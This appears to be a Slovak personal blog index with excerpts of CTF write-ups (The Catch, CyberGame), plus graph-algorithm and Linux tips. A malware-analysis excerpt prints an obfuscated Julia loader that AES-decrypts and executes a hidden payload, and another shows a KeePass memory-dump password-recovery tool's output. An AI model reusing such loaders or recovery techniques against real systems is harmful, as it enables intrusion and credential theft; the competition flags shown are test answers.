Zobrazujú sa príspevky s označením IT. Zobraziť všetky príspevky
Zobrazujú sa príspevky s označením IT. Zobraziť všetky príspevky

27. 12. 2024

Programovanie - riešenie min. vzdialeností v grafoch - Floyd-Warshall

  Na adrese https://coding-challenge.websupport.sk pripravil Websupport vrámci pracovného náboru pár IT úloh. Zaujala ma posledná 4tá úloha, ktorá sa týka riešenia grafu:

Nachádzate sa na recepcii (to je ten krúžok odlišnej farby s označením X). Snažíte sa vcítiť do zmýšľania developerov… Určite sa budú schovávať čo najďalej od recepcie. Keďže sú pohodlní a nechce sa im chodiť zbytočne ďaleko, vybrali si najkratšiu možnú cestu. Tak čo? Uhádneš v ktorej miestnosti sa skryli?

Graf má uzly / vrcholy ( nodes / Vertices ) , ktoré predstavujú napr. mestá.
Ďalej má hrany ( Edges ), ktoré predstavujú spojnice, zvyčajne cesty.

Keď majú hrany svoje hodnoty (dĺžka cesty), ide o vážený graf.

Algoritmy pre najkratšiu cestu:

  • Dijkstra - zložitosť E * log(V) - najrýchlejší, len kladné hodnoty hrán
  • Bellman-Ford - zložitosť E * V
  • Floyd-Warshall - zložitosť V³ - ráta naraz všetky vzdialenosti, najpomalší

14. 12. 2024

CTF - The Catch 2024 - Johnsons Backup

 Admin Johnson začal testovať zálohovacie procedúry na serveri johnson-backup.cypherfix.tcc. Pre iné zaujímavé úlohy ale nechal proces nedokončený. Mám zistiť, či je v súčasnom stave úspešne napadnuteľný.

Pomôcka - admin Johnson neudržuje dobrú hygienu hesiel

Pozriem najskôr otvorené porty:

$ nmap johnson-backup.cypherfix.tcc
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-13 23:36 CET
Nmap scan report for johnson-backup.cypherfix.tcc (10.99.24.30)
PORT    STATE SERVICE
80/tcp  open  http
199/tcp open  smux

Na porte 80 je default stránka Apache, na porte 199 beží bežne SNMP a k tejto službe som našiel postup na napadnutie cez Metasploit.

13. 12. 2024

Linux - mount súboru cez iný súbor

 Pre dočasné prepísanie súboru (skôr unesenie) je možné použiť v linuxe mount príkaz s parametrom --bind. Je tak možné napr prepísať konfiguračný súbor na readonly filesystéme rôznych IOT zariadení. Následný umount vráti súbor do pôvodného stavu.

sudo mount --bind ./moj_subor.txt ./prepisany_subor.txt

V mount výpise je potom vidieť podobný riadok:
/dev/sda1 on /cesta/prepisany_subor.txt type ext4 (rw,relatime,errors=remount-ro)

7. 12. 2024

CTF - The Catch 2024 - Lore 1: Travel

 Poznáte ten pocit, keď ešte aj po náročnej šichte v práci snívate o tom, ako riešite zapeklité pracovné problémy. Pomôžme kolegovi v náročnom svete, kde je problém rozlíšiť realitu od sna.

V prvej kapitole, nazvanej cestovanie, máme ako aj v ostatných krátku báseň a jeden link.

1 Travel (cestovanie)

In the gentle sway,  (v jemnom kolísaní)
Seeking calm within the storm,  (hľadá pokoj v búrke)
A path unfolds clear.  (cesta sa otvára jasná)

Footsteps brave the tide,  (kroky vzdorujú prílivu)
Guided by a steadfast light,  (vedená stálym svetlom)
Through trials we stride.  (cez skúšky kráčame)

Vstupný bod do "LORE" sveta je  http://intro.lore.tcc

3. 12. 2024

CTF - The Catch 2024 - Johny's notes

 Admin Johny si skúša nový poznámkový blok (online aplikáciu) pre zapisovanie poznámok. Myslí si, že dobre zabezpečil tak, že ju môže používať len on. Úloha je skontrolovať bezpečnostné prešľapy.

Admin Johny používa stanicu: johny-station.cypherfix.tcc
Poznámková aplikácia beží na:  notes.cyphrefix.tcc
Pomôcka: /usr/sbin/nologin je dobrý sluha, ale zlý pán

Klasicky sa pozriem najskôr, aké porty máme otvorené:

$ nmap -v -A notes.cypherfix.tcc
80
8080
8081

Web na 80tke presmerováva na 8080, na porte 8080 ani 8081 nič nevráti a cykluje.

Johny-station má otvorené porty 80 a 22. Keďže nemám žiadne ssh heslo (bude ho treba neskôr?), pozriem web na 80tke a tu máme default stránku Apache v.2.4.62, čo je aktuálna verzia (žiadne známe zraniteľnosti).

26. 11. 2024

CTF - The Catch 2024 - Incident repoting

 Systém pre automatický záznam incidentov zachytil približne hodinu sieťovej prevádzky pochádzajúcej z IP rozsahu AI-CSIRT. Mám analyzovať, či sú tu nejaké incidenty a zahlásiť ich cez AI-CSIRT webové rozhranie na http://incident-report.csirt.ai.tcc/

tip: IP rozsahy pre AI-CSIRT sú 10.99.224.0/24 a 2001:db8:7cc::a1:0/112.


Po stiahnutí a rozbalení záznamu dostanem 326MB veľký PCAP súbor, čo vie dať časovo pri spracovaní zabrať.

Snažím sa robiť všetko cez vzdialené ssh prihlásenie, preto miesto klasického GUI Wireshark použijem command line utilitu Tshark. 

Šlo by tiež použiť Snort, avšak pri poslednej verzii som mal problém s tým, že veľa pravidiel na internete funguje iba na staršej verzii a mám problém ako nastaviť premennú pre domácu sieť v prípade analýzy pcap súboru.

8. 11. 2024

CTF - The Catch 2024 - DNS madness

 Pri správe infraštruktúry musí oddelenie Operations udržiavať veľké množstvo DNS záznamov vo veľa zónach. DNS správca zošalel z obrovského množstva záznamov, sediac pred monitorom nakláňajúc sa sem a tam hovoril opakovane, o jeho doméne infra.tcc ako o nejakom milášikovi z pána prsteňov.

Mám za úlohu preskúmať zóny, záznamy a ich počty, aby sme nabudúce prijali odolnejšieho správcu. Ako pomôcku máme, že než sa zbláznil vravel o sekundárnych serveroch a AXFR/IXFR distribúcií zón.

CTF - The Catch 2024 - Admin Johnson

 Admin Johnson začal testovať zálohovacie procedúry na serveri johnson-backup.cypherfix.tcc. Nechal ale proces rozpracovaný z dôvodu iných zaujímavých úloh. Mám zistiť, či je v súčasnom stave napadnuteľný.

Ako pomôcku dostávam, že admin Johnson nie je dobrý v dodržiavaní hygieny hesiel.

7. 11. 2024

CTF - The Catch 2024 - Long secure password

Prejdem zo sekcie úloh "Miscellaneous" na sekciu "Security concerns".
Nový kolega prišiel s moderným spôsobom, ako vytvoriť zapamätateľné heslá. Rád by ho implementoval ako nový štandard v TCC. Každý používateľ v TCC-CSIRT dostane kartičku so znakmi v mriežke a vyberie si svoje heslo na základe počiatočného políčka, smeru a počtu znakov.

Pre skeptikov zverejnil svoju kartičku a vyzval kolegov na prihlásenie na jeho vlastný SSH server (password-card-rules.cypherfix.tcc) pod jeho loginom "futurethinker".
Mám úlohu overiť slabiny tejto metódy.

Ako pomôcku dostávam, že kolegovo obľúbené číslo je 18 a teda počet znakov hesla bude pravdepodobne tento.

6. 11. 2024

CTF - The Catch 2024 - Old service

 V tiketovacom systéme sa šíria klebety, že niekde na sieti beží stará neudržiavaná služba. Táto môže byť bezpečnostným rizikom, aj keď sa volá 3S - "Super Secure Service". Starší zamestnanci vspomínajú, že mala doménové meno supersecureservice.cypherfix.tcc. Táto neexistuje na aktuálnom DNS serveri, ale nejaká informácia môže byť na starom ns6-old.tcc, ktorý sa bude čoskoro rušiť. Ďalšia úloha za 2 body.

Preskúmaj službu a zisti čo najviac.

5. 11. 2024

CTF - The Catch 2024 - Leonidas

Náš IDS (intrusion detection system) zaznamenal podozrivú komunikáciu medzi zariadením srv-test23.cypherfix.tcc (10.99.24.23, 2001:db8:7cc::24:23) v našom obvode a C2 botnetom Leonidas300. Používateľ a správca zariadenia v jednom nemá poňatia ako je to možné a odmieta vypnúť dôležité testovacie zariadenie (ako VIP si zjavne môže dovoliť komplikovať vyšetrovanie). Ale je ochotný dodať ssh kľúč a testovacieho používateľa pre preskúmanie zariadenia.

Mojou úlohou je analýza incidentu, hlavne čo spôsobuje občasnú detekciu komunikácie s botnetom. Úloha je za 2 body.

IDS je dostupný na http://ids.cypherfix.tcc

4. 11. 2024

CTF - The Catch 2024 - Who is who?

 Prvá úloha v The Catch po prijatí za analytika, ktorú som si vybral. V CSIRT zistili, že analytici si niesú uplne istí v základných pojmoch, skratky sa im pletú. Preto je tu úloha zodpovedať správne na 10 kvízových otázok. Je potrebné vybrať správnu zo 4 možností. Úloha je za 1 bod.

Moje odpovede som napísal malým číslom vpravo, väčšina by mala byť správna.

CTF - The Catch 2024 - Intro

 Prvý októbrový pondelok začal ôsmy ročník The Catch. Počas 3 týždňov bolo možné hravou formou CTF súťažne riešiť úlohy súvisiace s IT bezpečnosťou. Pre zapojenie sa stačilo, po spustení súťaže, zaregistrovať na stránke www.thecatch.cz - zadať login, heslo a mail.

Na webe je bodkovaná deliaca čiara, má bodky v dvoch polohách - vyššie a nižšie. Informácia uložená v dvoch úrovniach, bez zjavných oddeľovačov, je zvyčajne kódovaná binárne. Prepísal som teda bodky do 0 a 1 a preložil cez CyberChef ako 7-bitový ascii reťazec: 20 years of CESNET-CERTS

To bude téma tohto ročníka.

* CESNET-CERTS - je názov CSIRT tímu združenia CESNET od r.2004


0. Introduction (0 bodov)

Vítajú ma, ako sľubného kandidáta, do nového bezpečnostného tímu TCC-CSIRT (The Catch by Cesnet - Computer Security Incident Response Team). Očakáva ma kariéra plná krvi, potu a sĺz, teda vlastne veľkých skúseností, príležitostí a pocitu dobre vykonanej práce. Ak mám záujem, stačí prepísať vlajku :
FLAG{BTb5-QfYb-JzAh-Zte0}

Po zadaní vlajky sa mi odomkla sekcia CSIRT - Training center.

9. 8. 2024

Shell - paralelné spúšťanie podprocesov vrámci skriptu

Niekedy, z výkonového hľadiska, chceme spustiť paralelne viaceré podprocesy zo shell skriptu a čakať kým všetky dobehnú, než pokračujeme ďalším kódom.

Prvá možnosť je príkaz wait. Ten čaká na všetky podprocesy, ja však zozbieram čísla procesov do premennej PIDS (reťazec), aby som čakal len na konkrétne.

PIDS=""
FAIL=0
for subor in `ls *.txt`; do
   spracuj.sh $subor &
   PIDS="$PIDS $!"
done
for job in $PIDS; do
  wait $job || FAIL=1
done

Ak chceme spustiť niečo s x-paralelnými procesmi, aj s čakaním na dobehnutie, je tu druhá možnosť.

Xargs ponúka parameter P pre paralelizmus, v parametri I sa dá definovať skratka nahradzujúca parameter v paralelne spúšťanom príkaze (tu server z textového zoznamu, z ktorého SCP skopíruje subor.txt, paralelne 3 procesmi).

grep -v ^# zoznam_serverov.txt | xargs -n1 -I{} -P3 scp -B -o ConnectTimeout=6 {}:/tmp/subor.txt ./subory 2>log/log_err.log

26. 6. 2024

CTF - CyberGame2024 - MailLeaks

V sekcii "Forensics" tohto ročníka súťaže CyberGame sa nachádzala téma "MailLeaks".

Forenzná analýza - hráči hľadajú v dátach z postihnutých počítačov digitálne stopy, ktoré ich privedú k vlajke

2.1 Destination

Pred niekoľkými dňami sme boli hacknutí, skontrolovali sme systém na malware pomocou antivírusu, ale nič sme nenašli, ale zrazu nám začala unikať pošta. Ako došlo k úniku pošty a na akú IP sa odoslala?
Vlajka je IP adresa, na ktorú boli e-maily odoslané.

Stiahol som si zo zadania súbor files.tar.gz, po rozbalení gz má tar súbor 3,1GB. Obsahuje image linuxového filesystému Ubuntu 22.04LTS.
Tento .tar sa dá bez ďalšieho rozbalenia množstva súborov priamo prechádzať napr v Midnight Commanderi.
Ako prvé preskúmam jediný používateľský adresár /home/bob. V .profile ani .bashrc nie je nič podozrivé. V .bash_history je vidieť, že tento súbor niekto vyčistil. Následne sa pozrel do /var/log/auth.log a potom zmenil svoje (bob) heslo.

Pozrel som preto /var/log/auth.log, vidieť tu opakované pokusy (slovníkový útok?) o prelomenie hesla pre bob používateľa, až po úspešné prihlásenie sa útočníka:
Mar 26 12:46:58 mail sshd[76661]: Accepted password for bob from 198.18.14.145 port 61433 ssh2

Nasledujú záznamy s pokusmi o "sudo vi /var/logs/auth.log" (preklep) a "sudo vi /var/log/auth.log" o 12:47:21.
Vyzerá, že 27.3. o 2:23 sa prihlásil skutočný majiteľ konta bob z lokálnej siete (192.168...) a spravil nález.

16. 6. 2024

CTF - CyberGame2024 - Documents

V sekcií "Malware" tohto ročníka súťaže CyberGame sa nachádzala téma "Documents".

Malvérová analýza - aby hráči získali vlajku, zisťujú, ako funguje škodlivý kód a hľadajú ďalšie spojitosti.

1.1 Categorization

Jeden z našich klientov zistil škodlivú aktivitu a podal podozrivý kód na analýzu. Tento kód, ktorý bol stiahnutý ako nástroj na kategorizáciu dokumentov v systéme.

Dostali ste za úlohu analyzovať tento súbor. Aké informácie z neho môžete zistiť?

Stiahol som si prílohu, súbor categorization.jl
import Pkg
Pkg.add("Nettle")
Pkg.add("HTTP")
using Sockets
using Nettle
using HTTP
encryption_key = hex2bytes("be59ee4cdd224bbc9b20d4f4cb958788a97595690c6338d0a736a3e287d64af5")
iv = hex2bytes("be59ee4cdd224bbc9b20d4f4cb958788")
cipherbytes = hex2bytes("5ea0928814f6a4aaad9aa4a8bd4c163f7d921146a65ff0653796860a0ab01de1c4a851c3a1361a98d71ba7da87e240b540a75e2986a60c9e88af8f3981a6a16179a7c440c1b44fe681c2667527bfefb8b86f840f68077d0158a379faff94b657e0f4d273e0fc3f9c668627e4203a50bf50b91de46cc872a169cd6cd24005afdc0cb3599584c621808c7d00211f49575cf9b20870b0578bcb6a7c2701ca9e6fef6baf07ed822e2cdde7774704e57fba30a2738a9e7679d171f26f115ce246c7e046e736cf21b91225c88ebfea5360e926f95b6c07172c861319ccbccf72a0e7835ff07e9fed0bf9cda538d60bc22391e615ace75c20923b75f5a546d488c9ad0b6e7386be372f526c71f51602dcd0bbfb05319a8f4a04584f7439ada6cbccb79ad51ee3df1e270c309ee96d83db7a91ffc6f524f04c68fa52d1829b44f6d3b9da003a52a3f2fb66d849c656265aa4f23ed6f6e99e8b8d8c41a0d4954cb1099c856d62679663f268ebd2c87bd2075097c91c435a775af079ef718083c9fa364614252f1baa2189899c94921be2e6c7222a52d8aafd13fbf460b8aec709c994f4f331388d1e0a12ee16399e7fe30ad45cdaf366baa641995b4a1b9d60791a493bafc5fc2c7ae7bf432c26d5169103adb4f407f1f8e2247692059b63415d8a0ace8dfc4a0b65424b329f153aa22bd18d754cd6d6d2997bd0365acaf468786154c7fa69772ceaad579e0afd53fd9ca74919b07357540921b5bd8b844ea5d543dee562c7a18ed2f599622d97b50eb8e3791f478288fcdd55a63b97027d3e95f60c5ad28661ee1cc755dfe7e33bac8c0ece22a52348eb8d3fae20de51933145cd8ea80ec2f457afbbcfb1726803a7603fbca1bb410c745bf8e8068cf6f8af01940c598106f2bb622189c8b3f4dbe37dfca8055a3489683bdf7c864a86f88fe432fe737eade87b394878c7e5be129efc2f634b789fb4854b1deaa7322c715d515d454d199f38582ae0e804c28a85786d3e5944ca0433d9b2731947914095a45940adb6f1b51a1e0c69205ff5cd290fc8b7415b7e6c8543f3648836f14f7ab6e5aeacd458f8fc8d3c6d3360149bead89dd414502ebb9dd4f2530d3c866e08fba31865d2538dce439a78d964cee4c35df13a222e88cdee5569b7a329bb21d97e5249b842ec7a83768037aadca5b571bb9fc1114937473db557a83df6ca5ff6ed7ebf8af274b96ffa2bc2a79d95f512d824f1ccb809a5c5cba2085c6a62a847ca989ee9544ac8d961c0acd9cc28d3d4b67d956fd121533cc4b8275297aa1dc63197c420f09950ae7a56eb0967634018ce9f439ff99b02b961afe2298a801ddce3b8ce7db862d0c623302b690c86cfac74e1e2d4f523da8ebf816901d74222f4fe1696ae7abeed2661a4db1fd903e3780e1e0503b18a")
decipherbytes = String(decrypt("AES256", :CBC, iv, encryption_key, cipherbytes))
include_string(Main, decipherbytes)

Ako vidieť, obsahuje 3 binárne reťazce zakódované pre čitateľnosť v HEX sústave a príkaz pre dešifrovanie najdlhšieho z nich cez algoritmus AES256. Pre dešifrovanie je potrebný kľúč {encryption key} a inicializačný vektor {iv} zabezpečujúci jedinečnosť, všetko teda máme.
Dešifrovaný reťazec príkazom include_string pribalí a teda pravdepodobne spustí.

Po zadaní reťazcov do CyberChef máme výstup v tvare kódu, hneď na začiatku je vlajka.
flag = "SK-CERT{3ncryp73d_jul14}"

response = HTTP.get("https://api.ipify.org/")
dat = String(response.body)
if occursin("198.18.2.2", dat)
	s = UInt8[
	    0x97, 0x8c, 0x8d, 0x8e, 0xc9, 0xcb, 0xca, 0x93, 
        ...

4. 12. 2023

CTF - The Catch 2023 - Záver

 Tématicky a zaujímavo poňatá hra podporujúca mesiac počítačovej bezpečnosti prebiehala v dňoch 2 až 23 októbra (3 týždne). Zaujímavé úlohy sa mi podarilo v čase súťaže vyriešiť v počte 13 z 20 a s pozíciou do prvých 100 účastníkov som spokojný vzhľadom na relatívne nízky pomer času. Nesúťažne som pridal ďalšie 2 úlohy.

Keďže blog je fajn miesto na zdieľanie informácií, spísal som, ako aj v prípade minulej CTF hry Cybergame svoje vyriešené úlohy, po jej ukončení.

Po skončení súťaže sa otvorila na 2 týždne súťaž pre najlepšie spísané postupy (write-ups) a tak som zaslal link. Síce sa vymykám štandardným postupom v gitlabe, ale možno práve vďaka tomu som v tejto súťaži uspel.

darčekový predmet - SmartCard od Victorinox

Ďakujem, Cesnet.

CTF - The Catch 2023 - Cat Code

 Aj na modernej lodi CNS Josef Verich sa prejavil nedostatok IT vývojárov. Vďaka tomu sa dostal vývoj generátora prístupových kódov pre satelitné pripojenie na plecia mačky hlavného dôstojníka. Máme zdroják v Pythone a úlohu dopátrať kód. Dostávame radu, že síce mačky sú veľmi milé, štúdie ale preukázali, že nie sú dobrými vývojármi.

Máme dva súbory používajúce okrem pythonu prevažne mačacie názvy:

  • meow.py - knižnica s funkciami meow a meowmeow
  • meowmeow.py - hlavný program

Moje začiatočnícke vedomosti jazyka Python sa aspoň rozšíria analýzou tohto kódu, ale bude to otravné pre vás, čo ho ovládate :-)

21. 11. 2023

CTF - The Catch 2023 - Component Replacement

  Naša loď musela znížiť svoju rýchlosť, pretože sa jej pokazila súčiastka "zvyšovač efektivity paliva".  Pre objednanie správneho dielu potrebuje hlavný inžinier presný identifikačný kód dielu. Avšak niečo sa stalo a nemôže sa dostať na webový výpis použitých dielov. Pravdepodobne to súvisí s nedávnou zmenou sieťových adries v strojovni. Stará sieť bola pre celú loď 192.168.96.0/20. Nájdime číslo dielu. Stránka je dostupná na adrese: http://key-parts-list.cns-jv.tcc

Ako pomôcku dostávame radu prekonať IP filter.

Čo teraz? Pre-IPčkovať svoju domácu sieť som nechcel. Treba sa zamyslieť, ako obabrať identifikáciu IP...

2. 11. 2023

CTF - The Catch 2023 - Captain's password

Kapitán si dal priveľa námorného pressa a dostal sa tak dočasne mimo službu. Prvý dôstojník je síce vo velení, ale nepozná kapitánove heslo pre lodné systémy. Dobrá správa je, že kapitán používa manažér hesiel a dôstojník našiel kapitánov pamäťový dump po páde systému.

Po stiahnutí a rozbalení vyše 1GB veľkého súboru (a súboru manažéra hesiel captain.kdbx) bolo jasné, že ide o Keepass. Keepass má nedávno zverejnenú (v 2.54 opravenú) zraniteľnosť, ktorá umožňuje vytiahnuť väčšinu písmen z master password (hlavné heslo do keepass súboru) z pamäte, kde sú časti s bodkami a jedným písmenom, ako sa heslo postupne zadáva do políčka ručne po písmene.

Skúsil som python verziu z tejto adresy na githube. Heslo, ktoré dopátral pod linuxom za cca 5min je (doplniť "p"): 
$ python3 poc.py -d crashdump.dmp
2023-10-21 23:14:15,589 [.] [main] Opened crashdump.dmp
Possible password: ●)ssword4mypreciousship
Possible password: ●assword4mypreciousship
Possible password: ●:ssword4mypreciousship
Possible password: ●|ssword4mypreciousship
Possible password: ●Wssword4mypreciousship
Possible password: ●5ssword4mypreciousship
Possible password: ●rssword4mypreciousship

Položka main flag system obsahuje vlajku ako heslo: FLAG{pyeB-941A-bhGx-g3RI}